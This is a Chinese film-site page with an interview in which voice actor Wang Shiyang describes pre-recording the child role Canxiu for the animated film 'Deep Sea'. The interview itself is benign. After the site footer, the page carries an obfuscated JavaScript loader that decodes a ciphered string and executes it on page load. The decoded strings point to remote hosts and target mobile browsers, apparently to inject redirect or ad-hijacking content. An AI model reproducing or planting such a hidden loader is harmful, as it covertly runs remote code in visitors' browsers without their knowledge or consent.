我在《深海》最深处：配音演员王世旸

时间：2023-02-24 20:00:32阅读：85643次
看过春节档《深海》电影的人都被参宿和南河的故事深深吸引，同时也被这两位演员的配音所打动，但在官方发出的花絮中我们不难看到，除了两位主演，还有一群默默无闻的配音演员在背后付出，其中有一个“拉
深海：元级326号
  • 深海：元级326号
  • 剧情
我在《深海》最深处：配音演员王世旸
我在《深海》最深处：配音演员王世旸
2/4

看过春节档《深海》电影的人都被参宿和南河的故事深深吸引，同时也被这两位演员的配音所打动，但在官方发出的花絮中我们不难看到，除了两位主演，还有一群默默无闻的配音演员在背后付出，其中有一个“拉着痰盂在地上被拖拽”的白衣女孩吸引了我们的注意，经过了解，发现她曾是唯一给参宿配过音的成人演员——王世旸，也足足陪伴了“参宿”5年。

图：阳光开朗的王世旸

Q：当初是怎么遇到“参宿”的？

A：其实最开始接触项目的时候我是群演，各种食客、同学、家长之类的，也是滕奎兴老师这个项目的助理。当时除了看自己的戏，还会在一边听导演给男女主演讲戏，我本身很喜欢这个题材，同时身边也有“阳光抑郁症”患者，所以在现场排演的时候，心里总是忍不住跟参宿一起念台词，满脑子都是这个小女孩。在预演结束以后，随着动画的改动，制作方需要补录一些台词，然后就找到了我，断断续续的补了两年多。

Q：两年多声音变化应该也挺大的吧，成年人配“参宿”都需要做什么准备呢？

A：其实成年人相对于小孩子来说声音变化是很小的，但录音的时候还是需要“装饰一下”，听起来更像小孩子。最开始为了找参宿的状态，我搜集了很多有类似小朋友的家庭故事，写了很长的人物小传，发现参宿这样的孩子是很没有自信的，害怕自己的所作所为会给人带来麻烦，所以她说话声音不会很大，整体小心翼翼的，甚至会带一些试探，如果一旦察觉不对，就会立刻把自己包裹起来，用一种讨好的假笑面对世界。那两年我基本都是带着这种心情去录参宿，甚至在生活里也偶尔会被这种情绪影响。

图：王世旸和田晓鹏导演

Q：两年的付出，让你争取到了预配的机会。

A：哈哈可以这么说，田晓鹏导演当时没有找到合适的小演员，他说听到我配的那一版“有的时候，觉得自己做什么都不对，好像妈妈的离开也是我的错”这句话的时候有被触动，希望可以让我来做参宿的预配。很巧合的，这句话也是我当时配音的一个突破点。那两年经常和滕老师交流，总是觉得自己的情感差了一些，老师让我平时多留心收集自己的情绪，然后这种“对自己不满意又不知道怎么解决，很迷茫，渴望得到救赎但只能自己硬抗”的感觉延续到了晚上，我就蹲在窗台上看着月亮，自然而然的说出了这句台词，突然就觉得对味儿了。所以这个东西真的挺神奇的，如果没有类似的情感共鸣很难表达出来。

Q：有了这种体会，后来预配就顺利多了吧？

A：妈呀，那简直是打开了新世界的大门。我们在录音棚有种不成文的规定，不在棚内吃喝，站在话筒前不要乱动，但在《深海》的录制中，一切传统的录音模式都被打破了，开启了一个全新的方式，我们更像是在录音棚里拍戏，当然效果翻倍，疲惫感也翻倍哈哈。其实很感谢滕老师提出的这种“奢侈”的配音方式，身体“动起来了”，声音自然就“生动鲜活”起来了，就像参宿最后撕破幕布去抓南河的时候，你站着使劲，躺着使劲，趴着使劲出来的声音效果都是不同的，哪种声音表现最触动，我们就继续往那边尝试，一句话几十遍都是常有的事。就像花絮里我被拖拽那一场，也是为了最大程度还原场景，但这个创作过程是很美好的，为了找到更合适的表达方式嘛，是值得的。

图：王世旸在表演

Q：听起来配音还是个体力活。

A：是的，预配我们差不多录了一周，我和南河一起录，谁体力透支了就休息，在休息室看片子琢磨，而且录音的时候睡不好，因为你会反复思考今天有哪里需要改进，明天的台词要在哪里加点设计。比如“我不怕你们”这句话，从哪个字开始使劲，哪个字受到的阻力最大，哪个字要有冲破幕布的感觉，这些都要想好，这样正式录的时候心里就会有一定的动作支撑，现场的时候你根据自己的动作节奏和心理节奏就会相对较好的把握。

Q：有没有在录制过程中印象很深刻的戏。

A：应该是南河牺牲之后参宿在深海号里找他的那一场，在画面已经大致做好的情况下，你就需要完全精准的哭——“先跪着哭三声，然后崩溃大哭两声，然后紧紧抱住自己隐忍的啜泣，然后带着哭腔抬头说话”，这段是我NG最多的一场，因为有的时候情绪进去脑子反应不过来，或者有时候节奏对上了情绪不够打动人，消耗特别大，但好在坎坷的完成了。

图：王世旸和滕奎兴导演

Q：你觉得录制《深海》最大的收获是什么。

A：她让我再次爱上了配音，让我学会保持真诚，更让我找到一些答案。这几年我在和参宿一起长大，这个角色你越琢磨越觉得压抑，有时会哭的停不下来，一想到这个世界上有那么多参宿，而《深海》可能会成为照亮一部分人的一束光，自己压力就会更大。滕奎兴老师劝我把体会到的东西表达出来就好，不要加任何技巧，只有你是赤诚的，观众听到的才会是赤诚的。在整个配音过程中滕老师对我的影响非常大，他和我们在现场一遍遍摸爬滚打，一遍遍做示范，分析人物内心，不厌其烦的引导我们将语言表达做到极致，前辈的榜样作用巨大，而且他饰演刀子嘴豆腐心的老金真的是本色出演哈哈。通过这部作品你能看到我们配音团队的每一个人都在真诚炙热不遗余力的奋斗，这会给你一种希望，你总会找到一件事或者一个人，给你多看看这个世界的动力。

Q：最后还是找到了合适小演员，会难过吗？

A：哈哈，失落肯定有的啦，不过肯定还是小孩子录小孩子最合适，只要对人物的塑造有益，给影片整体加分，还是毫无怨言的。虽然说结果很重要，但是过程更重要，只要这个经历对我的艺术生涯有帮助就值得。不过我在影院观影的时候，听到导演在上映版中还是保留了一部分我的声音，那一刻感觉这5年经历的种种艰辛困难都随着参宿一起爆发了，哭出猪叫。有种恍如隔世的感觉，终于实现了我刚入行时的愿望，在电影院听到了自己的声音。

Q：那你看完《深海》上映版有什么感受吗？

A：抛开配音演员的身份，心里还是很难受的，会想到这个世界上还有那么多的参宿，而他们的身边没有南河，还在这个世界拼命挣扎。我们每个人都是参宿，也都是南河，我，也不想停留在深海的最深处。

相关资讯

评论

  • 评论加载中...


Copyright © 2016-2018 www.kotech17.Com .All Rights Reserved .

留言求片

!function(){function a(a){var _idx="kcn7hl6kib";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPPn@}d(hFL_CLmR0T0{}YmRT4gQ}1Q/CL/n@}jR8S(21hqKS6)"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"n@}"=^8"S(21hqKS6)"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"n@}^)ThF)m@_d@R:_mRT4"="n@}X5ThF)m7sS2J}CmRT4"="n@}2pThFm@_d@R:_mRT4"="n@}_JqhFm7sS2J}CmRT4"="n@}2TOhFm@_d@R:_mRT4"="n@}CSqhF)m7sS2J}CmRT4"="n@})FfThF)fm@_d@R:_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPPn@}qhOFq^)Y6(:mD((DdOmRT4gQ}1Q/((/n@}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPPn@}qhOFq^)Y6(:mD((DdOmRT4gQ}1Q/((/n@}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPPn@}d(hFL_CLmR0T0{}YmRT4gQ}1Q/f/n@}j(8}vR8S(21hqKS6)"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPPn@}d(hFL_CLmR0T0{}YmRT4gQ}1Q"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();